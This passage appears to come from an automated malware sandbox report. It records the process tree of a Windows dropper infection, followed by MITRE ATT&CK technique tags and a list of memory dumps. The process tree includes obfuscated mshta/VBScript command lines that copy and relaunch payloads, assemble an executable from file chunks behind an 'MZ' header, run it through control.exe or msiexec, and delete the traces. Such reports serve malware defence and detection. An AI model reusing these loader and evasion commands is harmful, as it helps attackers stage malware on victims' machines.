        "C:\Users\Admin\Pictures\Adobe Films\Y6EumvPb2FNj3n2OKsEBBrRL.exe"
        6⤵
        
        PID:5084
      - C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe"
        6⤵
        
        PID:4960
      - C:\Users\Admin\Pictures\Adobe Films\i4Oe_wpb14miDIsMF6m98kLW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\i4Oe_wpb14miDIsMF6m98kLW.exe"
        6⤵
        
        PID:4936
      - C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe"
        6⤵
        
        PID:4840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe" & exit
        7⤵
        
        PID:1744
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:6152
      - C:\Users\Admin\Pictures\Adobe Films\flvPHKnl2626GHOVmZ7CF2mY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\flvPHKnl2626GHOVmZ7CF2mY.exe"
        6⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Local\5529931.exe
        
        "C:\Users\Admin\AppData\Local\5529931.exe"
        8⤵
        
        PID:10048
        
        C:\Users\Admin\AppData\Local\8288870.exe
        
        "C:\Users\Admin\AppData\Local\8288870.exe"
        8⤵
        
        PID:10044
        
        C:\Users\Admin\AppData\Local\907269.exe
        
        "C:\Users\Admin\AppData\Local\907269.exe"
        8⤵
        
        PID:9896
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\907269.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\907269.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        9⤵
        
        PID:6572
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\907269.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\907269.exe" ) do taskkill -f -Im "%~NXZ"
        10⤵
        
        PID:9424
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        11⤵
        
        PID:6880
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        12⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        13⤵
        
        PID:700
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        12⤵
        
        PID:4768
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        13⤵
        
        PID:8932
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        14⤵
        
        PID:10288
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        14⤵
        
        PID:10332
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        14⤵
        
        PID:10988
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        15⤵
        
        PID:11160
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "907269.exe"
        11⤵
        Kills process with taskkill
        
        PID:7628
        
        C:\Users\Admin\AppData\Local\4417394.exe
        
        "C:\Users\Admin\AppData\Local\4417394.exe"
        8⤵
        
        PID:4748
        
        C:\Users\Admin\AppData\Local\6898118.exe
        
        "C:\Users\Admin\AppData\Local\6898118.exe"
        8⤵
        
        PID:8396
        
        C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
        7⤵
        
        PID:4776
        
        C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
        7⤵
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
        7⤵
        
        PID:5284
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:5884
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:8032
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        10⤵
        
        PID:8640
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        11⤵
        
        PID:7912
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        12⤵
        
        PID:10160
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        11⤵
        
        PID:7980
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        12⤵
        
        PID:1472
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        13⤵
        
        PID:4628
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        13⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        13⤵
        
        PID:10932
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        10⤵
        Kills process with taskkill
        
        PID:6816
        
        C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
        7⤵
        
        PID:6188
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        
        PID:6016
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:5480
        
        C:\Users\Admin\AppData\Local\Temp\is-S00JN.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S00JN.tmp\setup.tmp" /SL5="$4025C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        
        PID:6344
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\is-3VGGS.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3VGGS.tmp\setup.tmp" /SL5="$30346,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        
        PID:4452
        
        C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
        11⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\is-18BOG.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-18BOG.tmp\postback.exe" ss1
        11⤵
        
        PID:7984
        
        C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
        11⤵
        
        PID:6856
        
        C:\d346805c323392ae72b2e8de\Setup.exe
        
        C:\d346805c323392ae72b2e8de\\Setup.exe /q /norestart /x86 /x64 /web
        12⤵
        
        PID:9024
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        
        PID:6364
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 656
        8⤵
        Program crash
        
        PID:6700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 672
        8⤵
        Program crash
        
        PID:6896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 680
        8⤵
        Program crash
        
        PID:3564
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6364 -s 652
        8⤵
        Program crash
        
        PID:7504
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        7⤵
        
        PID:6500
        
        C:\Users\Admin\AppData\Local\Temp\chrome1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
        7⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:9304
        
        C:\Users\Admin\AppData\Local\Temp\chrome update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
        7⤵
        
        PID:6780
        
        C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        7⤵
        
        PID:6968
      - C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe"
        6⤵
        
        PID:5156
        
        C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UjByL3Xny275_CRufQsvG7YK.exe"
        7⤵
        
        PID:5972
      - C:\Users\Admin\Pictures\Adobe Films\8EkhqjDe12G6umap_xpARjEe.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8EkhqjDe12G6umap_xpARjEe.exe"
        6⤵
        
        PID:4172
      - C:\Users\Admin\Pictures\Adobe Films\Zw5UmMwML30SXEE2G2LBP4vc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Zw5UmMwML30SXEE2G2LBP4vc.exe"
        6⤵
        
        PID:4312
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 664
        7⤵
        Program crash
        
        PID:9204
      - C:\Users\Admin\Pictures\Adobe Films\PXr8ndCzifMXC_ZSNU4fupCW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PXr8ndCzifMXC_ZSNU4fupCW.exe"
        6⤵
        
        PID:4892
      - C:\Users\Admin\Pictures\Adobe Films\jyCgBc0AXj1oH3Q7yf400WvR.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jyCgBc0AXj1oH3Q7yf400WvR.exe"
        6⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        7⤵
        
        PID:5712
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:6252
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 556
        8⤵
        Program crash
        
        PID:6564
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        7⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        8⤵
        
        PID:4356
      - C:\Users\Admin\Pictures\Adobe Films\3Y4PrrUrhoUfnGbOL3JxTpbB.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3Y4PrrUrhoUfnGbOL3JxTpbB.exe"
        6⤵
        
        PID:9824
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        7⤵
        
        PID:7640
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed12ebaf7883e1890d.exe
      4⤵
      PID:1964
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12ebaf7883e1890d.exe
        
        Wed12ebaf7883e1890d.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1628
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed1241cc206cfb.exe
      4⤵
      PID:2304
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1241cc206cfb.exe
        
        Wed1241cc206cfb.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:900
      - C:\Users\Admin\AppData\Roaming\294455.exe
        
        "C:\Users\Admin\AppData\Roaming\294455.exe"
        6⤵
        Executes dropped EXE
        
        PID:4800
      - C:\Users\Admin\AppData\Roaming\8726283.exe
        
        "C:\Users\Admin\AppData\Roaming\8726283.exe"
        6⤵
        
        PID:1184
      - C:\Users\Admin\AppData\Roaming\1559720.exe
        
        "C:\Users\Admin\AppData\Roaming\1559720.exe"
        6⤵
        
        PID:4488
      - C:\Users\Admin\AppData\Roaming\531022.exe
        
        "C:\Users\Admin\AppData\Roaming\531022.exe"
        6⤵
        
        PID:5008
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\531022.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\531022.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        7⤵
        
        PID:692
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\531022.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\531022.exe" ) do taskkill -f -Im "%~NXZ"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        9⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        10⤵
        
        PID:5472
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        11⤵
        
        PID:4220
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        10⤵
        
        PID:1356
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        11⤵
        
        PID:8168
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        12⤵
        
        PID:8616
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        12⤵
        
        PID:9004
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        12⤵
        
        PID:9008
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        13⤵
        
        PID:9712
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "531022.exe"
        9⤵
        Kills process with taskkill
        
        PID:5360
      - C:\Users\Admin\AppData\Roaming\5952231.exe
        
        "C:\Users\Admin\AppData\Roaming\5952231.exe"
        6⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        
        PID:4888
      - C:\Users\Admin\AppData\Roaming\2099675.exe
        
        "C:\Users\Admin\AppData\Roaming\2099675.exe"
        6⤵
        
        PID:3720
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1920 -s 596
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed121f7e9e92793cf.exe
      4⤵
      PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 656
1⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Users\Admin\AppData\Local\Temp\is-9E1UP.tmp\Wed120b6f5c6d562.tmp
"C:\Users\Admin\AppData\Local\Temp\is-9E1UP.tmp\Wed120b6f5c6d562.tmp" /SL5="$101F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe" /SILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4252

C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe" /SILENT
1⤵
- Executes dropped EXE
PID:4104

C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
Wed121f7e9e92793cf.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:872
- C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
  C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
  2⤵
  - Executes dropped EXE
  PID:4468

C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
1⤵
- Executes dropped EXE
PID:4392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 668
1⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4484

C:\Windows\SysWOW64\colorcpl.exe
"C:\Windows\SysWOW64\colorcpl.exe"
1⤵
PID:6076
- C:\Windows\SysWOW64\cmd.exe
  /c del "C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe"
  2⤵
  PID:4600

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:7044

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6496

C:\Users\Admin\AppData\Local\Temp\5C75.exe
C:\Users\Admin\AppData\Local\Temp\5C75.exe
1⤵
PID:4852
- C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
  "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
  2⤵
  PID:6940

C:\Users\Admin\AppData\Local\Temp\6432.exe
C:\Users\Admin\AppData\Local\Temp\6432.exe
1⤵
PID:1796

C:\Users\Admin\AppData\Roaming\fhsvsws
C:\Users\Admin\AppData\Roaming\fhsvsws
1⤵
PID:5776

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2236
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8116

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:6328

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211108-1628.dm
1⤵
PID:7912

C:\Users\Admin\AppData\Roaming\fhsvsws
C:\Users\Admin\AppData\Roaming\fhsvsws
1⤵
PID:10800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/872-255-0x00000000054F0000-0x0000000005566000-memory.dmp

Filesize
472KB

Download
memory/872-237-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/900-231-0x0000000000850000-0x0000000000851000-memory.dmp

Filesize
4KB

Download
memory/900-247-0x0000000007680000-0x0000000007681000-memory.dmp

Filesize
4KB

Download
memory/1184-378-0x0000000005560000-0x0000000005561000-memory.dmp

Filesize
4KB

Download
memory/1184-353-0x0000000077B10000-0x0000000077C9E000-memory.dmp

Filesize
1.6MB

Download
memory/1212-654-0x0000000000460000-0x000000000050E000-memory.dmp

Filesize
696KB

Download
memory/1356-616-0x00000000020D0000-0x0000000002147000-memory.dmp

Filesize
476KB

Download
memory/1360-242-0x0000000003220000-0x0000000003221000-memory.dmp

Filesize
4KB

Download
memory/1360-208-0x0000000000E70000-0x0000000000E71000-memory.dmp

Filesize
4KB

Download
memory/1364-542-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Filesize
4KB

Download
memory/1480-251-0x0000000004672000-0x0000000004673000-memory.dmp

Filesize
4KB

Download
memory/1480-474-0x0000000004673000-0x0000000004674000-memory.dmp

Filesize
4KB

Download
memory/1480-192-0x0000000002950000-0x0000000002951000-memory.dmp

Filesize
4KB

Download
memory/1480-199-0x0000000002950000-0x0000000002951000-memory.dmp

Filesize
4KB

Download
memory/1480-210-0x0000000006CF0000-0x0000000006CF1000-memory.dmp

Filesize
4KB

Download
memory/1480-222-0x0000000004670000-0x0000000004671000-memory.dmp

Filesize
4KB

Download
memory/1480-259-0x00000000073C0000-0x00000000073C1000-memory.dmp

Filesize
4KB

Download
memory/1480-268-0x0000000007370000-0x0000000007371000-memory.dmp

Filesize
4KB

Download
memory/1480-427-0x000000007F190000-0x000000007F191000-memory.dmp

Filesize
4KB

Download
memory/1480-264-0x0000000007650000-0x0000000007651000-memory.dmp

Filesize
4KB

Download
memory/1480-246-0x0000000006C10000-0x0000000006C11000-memory.dmp

Filesize
4KB

Download
memory/1480-206-0x00000000045C0000-0x00000000045C1000-memory.dmp

